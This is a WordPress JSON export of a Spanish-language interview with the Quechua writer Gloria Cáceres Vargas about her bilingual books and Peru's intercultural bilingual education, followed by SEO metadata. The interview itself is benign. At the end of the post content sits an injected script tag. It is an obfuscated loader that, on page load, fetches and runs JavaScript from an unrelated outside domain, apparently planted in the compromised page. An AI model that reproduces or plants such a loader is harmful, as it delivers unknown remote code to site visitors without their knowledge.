{"id":48590,"date":"2011-05-24T08:49:33","date_gmt":"2011-05-24T06:49:33","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=48590"},"modified":"2025-10-21T22:45:47","modified_gmt":"2025-10-21T20:45:47","slug":"mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/","title":{"rendered":"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de <i>Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre<\/i>, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol"},"content":{"rendered":"<p style=\"text-align: justify;\"><em>Gloria C\u00e1ceres Vargas naci\u00f3 en Per\u00fa en Colta, en el departamento de Ayacucho. A partir de los 7 a\u00f1os, su ni\u00f1ez se desarroll\u00f3 entre la regi\u00f3n de Lima y su ciudad natal. Sus estancias en Colta son un recuerdo maravilloso, teniendo por escenario su lengua y su cultura quechua. M\u00e1s tarde, luego de que se convirtiera en profesora, se encuentra con un ling\u00fcista chileno que trabaja con lenguas aut\u00f3ctonas de Costa Rica, y es ah\u00ed que se produce la revelaci\u00f3n: debe hacer algo ella misma por su lengua materna, el <strong><a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-las-lenguas-quechua2\">quechua<\/a><\/strong>.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<div id=\"attachment_48593\" style=\"width: 379px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-48593\" class=\"size-full wp-image-48593\" title=\"gloriacaceres2\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg\" alt=\" \" width=\"369\" height=\"276\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg 369w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22-300x224.jpg 300w\" sizes=\"auto, (max-width: 369px) 100vw, 369px\" \/><p id=\"caption-attachment-48593\" class=\"wp-caption-text\"> <\/p><\/div>\n<p style=\"text-align: justify;\"><strong>Gloria, su primer acto \u00ab\u00a0militante\u00a0\u00bb fue aprender a escribir el quechua, \u00bfy enseguida ense\u00f1arlo?<\/strong><\/p>\n<p style=\"text-align: justify;\">As\u00ed es, aunque ya estaba a cargo de la ense\u00f1anza de la lengua en la Universidad Nacional de Educaci\u00f3n. Me inscrib\u00ed en la especialidad \u201cling\u00fc\u00edstica quechua\u201d. Y obtuve una Maestr\u00eda en Ciencias de la Educaci\u00f3n gracias a una investigaci\u00f3n sobre la Morfosintaxis del quechua de mi pueblo. A partir de 1991, orient\u00e9 mi trabajo de ense\u00f1anza e investigaci\u00f3n hacia la ense\u00f1anza del quechua. Organic\u00e9 conversaciones, talleres de sensibilizaci\u00f3n a la cultura y a la lengua, y concursos para aprender a escribirlo.<\/p>\n<p style=\"text-align: justify;\">La inmensa mayor\u00eda de los estudiantes en la Universidad eran migrantes o hijos de migrantes de las zonas andinas. Algunos hablaban el quechua y otros solo lo entend\u00edan. Y cuando aprendieron a escribirlo, empezaron a escribir poemas, relatos, canciones, etc., en quechua. Fue una experiencia maravillosa porque fue un reencuentro consigo mismos.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Y cuando se puso usted misma a escribir en quechua, \u00bfcu\u00e1l fue su motivaci\u00f3n?<\/strong><\/p>\n<p style=\"text-align: justify;\">La falta de materiales impresos en lengua quechua. Si bien mis alumnos ya estaban leyendo y escribiendo textos breves en quechua, \u00a1no ten\u00edan que leer! no hab\u00eda libros escritos en quechua o al menos biling\u00fces. No ten\u00edamos un manual o una gram\u00e1tica elemental de la lengua. Esta carencia y el inter\u00e9s de mis estudiantes me motiv\u00f3 a preparar materiales educativos, manuales y cuadernos de trabajo en quechua, a recuperar las adivinanzas quechuas \u2013watuchis, cuentos, relatos de tradici\u00f3n oral, poemas, etc. en quechua, los que m\u00e1s adelante fueron recogidos en mi primer libro biling\u00fce (quechua-espa\u00f1ol)  \u201cRiqsinakusun, Conozc\u00e1monos\u201d.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Enseguida paso a la escritura original, \u00e0 la literatura, \u00bfpor qu\u00e9?<\/strong><\/p>\n<p style=\"text-align: justify;\">En la actualidad no hay mucho material en lengua nativa. Existen relatos de la tradici\u00f3n oral, cuentos, mitos, leyendas que explican el origen de todo lo inmediato que circunda al hablante, pero es insuficiente para asegurar el futuro de la lengua.<\/p>\n<p style=\"text-align: justify;\">No debemos verla solamente como una lengua para cantar el pasado grandioso que tuvimos en la \u00e9poca de los Incas, sino tomarla como lengua vehicular en la que el hombre exprese sus inquietudes y sentimientos actuales. As\u00ed, es necesario promover la producci\u00f3n de literatura en lengua quechua, considerarla como una lengua literaria, moderna y actual. Siendo el quechua una lengua tan expresiva y rica en todo sentido, hay que tratar de mantener su vigencia a trav\u00e9s de la escritura de poemas, de relatos, tratados, etc. Es necesario incitar a la traducci\u00f3n de textos literarios de escritores peruanos y universales. Es fundamental porque es una manera de conocer y aprehender no solo lo que es inmediato sino proyectarse al conocimiento de otras realidades.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00bfY que ha escrito usted misma?<\/strong><\/p>\n<p style=\"text-align: justify;\">Por el momento, escribo poes\u00eda y relatos originales.<\/p>\n<p style=\"text-align: justify;\">Hace algunos a\u00f1os, cuando era repetidora  de la lengua quechua en el Instituto Nacional de Lenguas y Civilizaciones Orientales (INALCO) en Par\u00eds, el Dr. C\u00e9sar Itier me dio sus consejos y apoyo desinteresado para publicar un segundo libro, una colecci\u00f3n de poemas llamada <strong><em>Munakuwaptiykiqa, Si t\u00fa me quisieras<\/em><\/strong>.<\/p>\n<p style=\"text-align: justify;\">Y he aqu\u00ed hoy <em><strong>Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre<\/strong><\/em>, un libro de relatos de personas que migran a otras ciudades y siguen con la misma visi\u00f3n buc\u00f3lica de su terru\u00f1o, sue\u00f1an con regresar, aunque la vida contin\u00fae y aunque ellos mismos cambien luego de sus experiencias.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00bfPor qu\u00e9 publicar siempre obras biling\u00fces?<\/strong><\/p>\n<p style=\"text-align: justify;\">Escribo primero en quechua porque es mi lengua materna y luego la traduzco porque todav\u00eda no sabemos leer solo en quechua, aun los mismos hablantes nativos. Y esto se debe que hemos sido escolarizados solo en espa\u00f1ol, pero ahora est\u00e1 cambiando en muchos lugares donde se puede apreciar la presencia de los programas de la Educaci\u00f3n Intercultural Biling\u00fce (EIB).<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00bfQu\u00e9 es esta Educaci\u00f3n Intercultural biling\u00fce?<\/strong><\/p>\n<p style=\"text-align: justify;\">Actualmente la legislaci\u00f3n peruana permite que los j\u00f3venes que provienen de \u00e1reas andinas y amaz\u00f3nicas puedan acceder a las universidades sin examen de ingreso, para lo cual deben ser presentados por su comunidad a la universidad que elijan, con el compromiso de regresar a su comunidad cuando se grad\u00faen para ejercer su profesi\u00f3n.<\/p>\n<p style=\"text-align: justify;\">A partir de los 2000 en la Universidad Nacional de Educaci\u00f3n, empieza a funcionar  Especialidad de Educaci\u00f3n Biling\u00fce Intercultural \u2013 EBI, destinada a estos j\u00f3venes. El dominio de su lengua nativa, sea andina (quechua y\/o aimara) o amaz\u00f3nica (cualquiera de las 16 familias ling\u00fc\u00edsticas) ha sido el requisito primordial para formarse como profesores. En este marco, la Universidad Nacional de Educaci\u00f3n acogi\u00f3 estudiantes nativos  huitotos, awajun, ashaninkas, ese-ejas, quechuas, aymaras, etc. Para estos estudiantes, al comienzo no fue f\u00e1cil porque era otro ambiente, pero lo lograron y regresaron a sus comunidades para ejercer la docencia. Y quien mejor que ellos para revitalizar, mantener, transmitir su lengua a las nuevas generaciones.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00bfY cu\u00e1les son los resultados de esta pol\u00edtica?<\/strong><\/p>\n<p style=\"text-align: justify;\">Hoy en d\u00eda, muchas generaciones de docentes biling\u00fces ya han recibido sus t\u00edtulos. En las escuelas donde trabajan, los ni\u00f1os adquieren primeramente las cuatro habilidades b\u00e1sicas (hablar, comprender, leer y escribir) en quechua u otra lengua nativa, ya sea andina o amaz\u00f3nica. El espa\u00f1ol es luego ensenado como lengua segunda.<\/p>\n<p style=\"text-align: justify;\">Sin embargo, en la pr\u00e1ctica, no es uniforme: en ciertos lugares, los progresos son evidentes en la preservaci\u00f3n de la lengua nativa y paulatinamente asumir un biling\u00fcismo equitativo, donde el hablante puede expresarse de manera \u00f3ptima en ambas lenguas. En otros lugares hay todav\u00eda un gran rechazo hacia todo lo ind\u00edgena. Y finalmente ciertas zonas son muy conocidas por estar en completo proceso de una castellanizaci\u00f3n en desmedro de las lenguas nativas.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\"><strong>Bibliograf\u00eda Gloria C\u00e1ceres Vargas<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">1. <strong><em>Riqsinakusun.\u00a0Conozc\u00e1monos<\/em><\/strong>, 1996. Colecci\u00f3n de adivinanzas quechua (watuchis), canciones, poemas, historias cortas. Biling\u00fce quechua-espa\u00f1ol.<\/p>\n<p style=\"text-align: justify;\">2. <strong><em>Munakuwaptiykiqa, Si t\u00fa me quisieras<\/em><\/strong>, 2009. Colecci\u00f3n de poemas que \u00abcanta la fragilidad del amor y la soledad del ser humano en un universo contradictorio, misterioso e inquietante\u00bb (C\u00e9sar Itier). Biling\u00fce quechua- espa\u00f1ol.<\/p>\n<p style=\"text-align: justify;\">3. <strong><em>Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre<\/em><\/strong>, 2010. Libro de relatos sobre aqu\u00e9llos qua emigran hacia las ciudades con la nostalgia en el coraz\u00f3n y la esperanza de regresar a su pueblo.\u00a0Biling\u00fce quechua-espa\u00f1ol.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>D\u00f3nde se pueden adquirir los libros de Gloria C\u00e1ceres Vargas<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>En\u00a0Par\u00eds:<\/strong><\/p>\n<p style=\"text-align: justify;\">&#8211; Librer\u00eda El Sal\u00f3n del Libro, calle des Foss\u00e9s Saint-Jacques, 75005 &#8211; Par\u00eds.<\/p>\n<p style=\"text-align: justify;\">Tel\u00e9fono: 09 51138695<\/p>\n<p style=\"text-align: justify;\">&#8211; Tienda peruana El Inti, 17, calle de Picardie, 75003 &#8211; Par\u00eds.<\/p>\n<p style=\"text-align: justify;\">Tel\u00e9fono: 01 42782582<\/p>\n<p style=\"text-align: justify;\"><strong>En Lima:<\/strong><\/p>\n<p style=\"text-align: justify;\">&#8211; Librer\u00eda Viceroy<\/p>\n<p style=\"text-align: justify;\">&#8211; Librer\u00eda Times, San Isidro<\/p>\n<p style=\"text-align: justify;\">Por mail: <a href=\"mailto:gloriacha007@hotmail.com\">Gloria C\u00e1ceres Vargas<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/familia-de-las-lenguas-quechua2\">Para saber m\u00e1s sobre la familia de las lenguas quechua<\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gloria C\u00e1ceres Vargas naci\u00f3 en Per\u00fa en Colta, en el departamento de Ayacucho. A partir de los 7 a\u00f1os, su ni\u00f1ez se desarroll\u00f3 entre la regi\u00f3n de Lima y su ciudad natal. Sus estancias en Colta son un recuerdo maravilloso, teniendo por escenario su lengua y su cultura quechua. M\u00e1s tarde, luego de que se [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-48590","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Gloria C\u00e1ceres Vargas naci\u00f3 en Per\u00fa en Colta, en el departamento de Ayacucho. A partir de los 7 a\u00f1os, su ni\u00f1ez se desarroll\u00f3 entre la regi\u00f3n de Lima y su ciudad natal. Sus estancias en Colta son un recuerdo maravilloso, teniendo por escenario su lengua y su cultura quechua. M\u00e1s tarde, luego de que se [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-24T06:49:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:45:47+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol\",\"datePublished\":\"2011-05-24T06:49:33+00:00\",\"dateModified\":\"2025-10-21T20:45:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\"},\"wordCount\":1282,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\",\"name\":\"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg\",\"datePublished\":\"2011-05-24T06:49:33+00:00\",\"dateModified\":\"2025-10-21T20:45:47+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/","og_locale":"es_ES","og_type":"article","og_title":"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol - Sorosoro","og_description":"Gloria C\u00e1ceres Vargas naci\u00f3 en Per\u00fa en Colta, en el departamento de Ayacucho. A partir de los 7 a\u00f1os, su ni\u00f1ez se desarroll\u00f3 entre la regi\u00f3n de Lima y su ciudad natal. Sus estancias en Colta son un recuerdo maravilloso, teniendo por escenario su lengua y su cultura quechua. M\u00e1s tarde, luego de que se [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/","og_site_name":"Sorosoro","article_published_time":"2011-05-24T06:49:33+00:00","article_modified_time":"2025-10-21T20:45:47+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol","datePublished":"2011-05-24T06:49:33+00:00","dateModified":"2025-10-21T20:45:47+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/"},"wordCount":1282,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg","articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/","name":"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg","datePublished":"2011-05-24T06:49:33+00:00","dateModified":"2025-10-21T20:45:47+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/gloriacaceres22.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/mayo-de-2011-entrevista-con-la-autora-quechua-gloria-caceres-vargas-para-la-publicacion-de-winay-suyasqayki-te-esperare-siempre-una-coleccion-de-relatos-bilingues-quechua-espanol\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Mayo de 2011: Entrevista con la autora quechua Gloria C\u00e1ceres Vargas para la publicaci\u00f3n de Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre, una colecci\u00f3n de relatos biling\u00fces quechua-espa\u00f1ol"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde 